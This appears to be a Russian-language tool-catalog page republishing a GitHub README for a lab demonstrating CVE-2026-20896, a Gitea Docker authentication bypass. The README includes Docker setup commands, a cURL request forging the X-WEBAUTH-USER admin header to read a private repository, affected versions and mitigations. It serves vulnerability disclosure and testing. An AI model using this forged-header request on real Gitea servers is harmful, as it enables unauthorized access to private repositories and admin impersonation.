Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-20896 — Лаборатория proof-of-concept и скрипты на Python/cURL, демонстрирующие CVE-2026-20896 — обход аутентификации в официальных Docker-образах Gitea через заголовок X-WEBAUTH-USER. | Kitploit
Инструменты/GitHubGitHub/yym8538/cve-2026-20896
Безопасность контейнеровАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеАутентификацияЛаборатории и Практика
GitHubyym8538/cve-2026-20896

CVE-2026-20896

Лаборатория proof-of-concept и скрипты на Python/cURL, демонстрирующие CVE-2026-20896 — обход аутентификации в официальных Docker-образах Gitea через заголовок X-WEBAUTH-USER.

11 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2026-20896: PoC обхода аутентификации в Docker-образе Gitea

[!WARNING] Используйте этот PoC только в локальной лаборатории или против системы, на тестирование которой у вас есть явное разрешение.

https://github.com/user-attachments/assets/b73af2fe-0e59-438b-80d6-be93fd75697b

Обзор

CVE-2026-20896 — это обход аутентификации в уязвимых официальных Docker-образах Gitea. Когда включена аутентификация через обратный прокси, сгенерированная образом настройка REVERSE_PROXY_TRUSTED_PROXIES = * позволяет клиенту, имеющему доступ к бэкенду Gitea, выдавать себя за существующего пользователя через заголовок X-WEBAUTH-USER.

Лаборатория создаёт администратора с именем gitea-admin со случайным паролем и сохраняет CVE-2026-20896_AUTH_BYPASS_CONFIRMED в приватном репозитории gitea-admin/private-proof. Чтение этого файла без знания случайного пароля администратора демонстрирует обход.

Уязвимые версии

КатегорияВерсия
УязвимыеОфициальные Docker-образы gitea/gitea ≤ 1.26.2
Первая исправленная1.26.3
Рекомендуемая1.26.4 или более поздняя

Уязвимая конфигурация требует включённой аутентификации через обратный прокси и прямого доступа к бэкенду Gitea, либо наличия вышестоящего прокси, сохраняющего предоставленный атакующим заголовок идентификации. Для локального воспроизведения контейнер обратного прокси не требуется.

Окружение

# build
docker build -t cve-2026-20896-gitea-vuln .

# run
docker run -d --rm --name cve-2026-20896-gitea-vuln -p 127.0.0.1:3000:3000 cve-2026-20896-gitea-vuln

Подождите несколько секунд, пока Gitea и приватный репозиторий с доказательством инициализируются.

PoC

cURL

curl -s -L -H "X-WEBAUTH-USER: gitea-admin" http://127.0.0.1:3000/gitea-admin/private-proof/raw/branch/main/proof.txt

Успешная эксплуатация возвращает CVE-2026-20896_AUTH_BYPASS_CONFIRMED.

Python

python poc.py http://127.0.0.1:3000

Скрипт сравнивает неаутентифицированные, неадминистративные и поддельные запросы администратора и выводит VULNERABLE, когда обход авторизации подтверждён. Требуется Python 3.10 или более поздняя версия, используется только стандартная библиотека.

Влияние

  • Выдача себя за известных или предсказуемых пользователей Gitea
  • Неавторизованный доступ к приватным репозиториям и ресурсам пользователей
  • Административные действия при выдаче себя за учётную запись администратора

Меры защиты

  • Обновитесь до Gitea 1.26.3 или более поздней версии; рекомендуется 1.26.4 или более поздняя.
  • Ограничьте REVERSE_PROXY_TRUSTED_PROXIES доверенными адресами прокси.
  • Запретите прямой доступ к бэкенду Gitea и перезаписывайте заголовки идентификации, предоставленные извне.
  • Отключите аутентификацию через обратный прокси, если она не требуется.

Очистка

docker stop cve-2026-20896-gitea-vuln

Ссылки

  • Gitea Security Advisory GHSA-f75j-4cw6-rmx4
  • Gitea 1.26.3 and 1.26.4 release announcement
  • Gitea security fix PR #38151
Скачать инструмент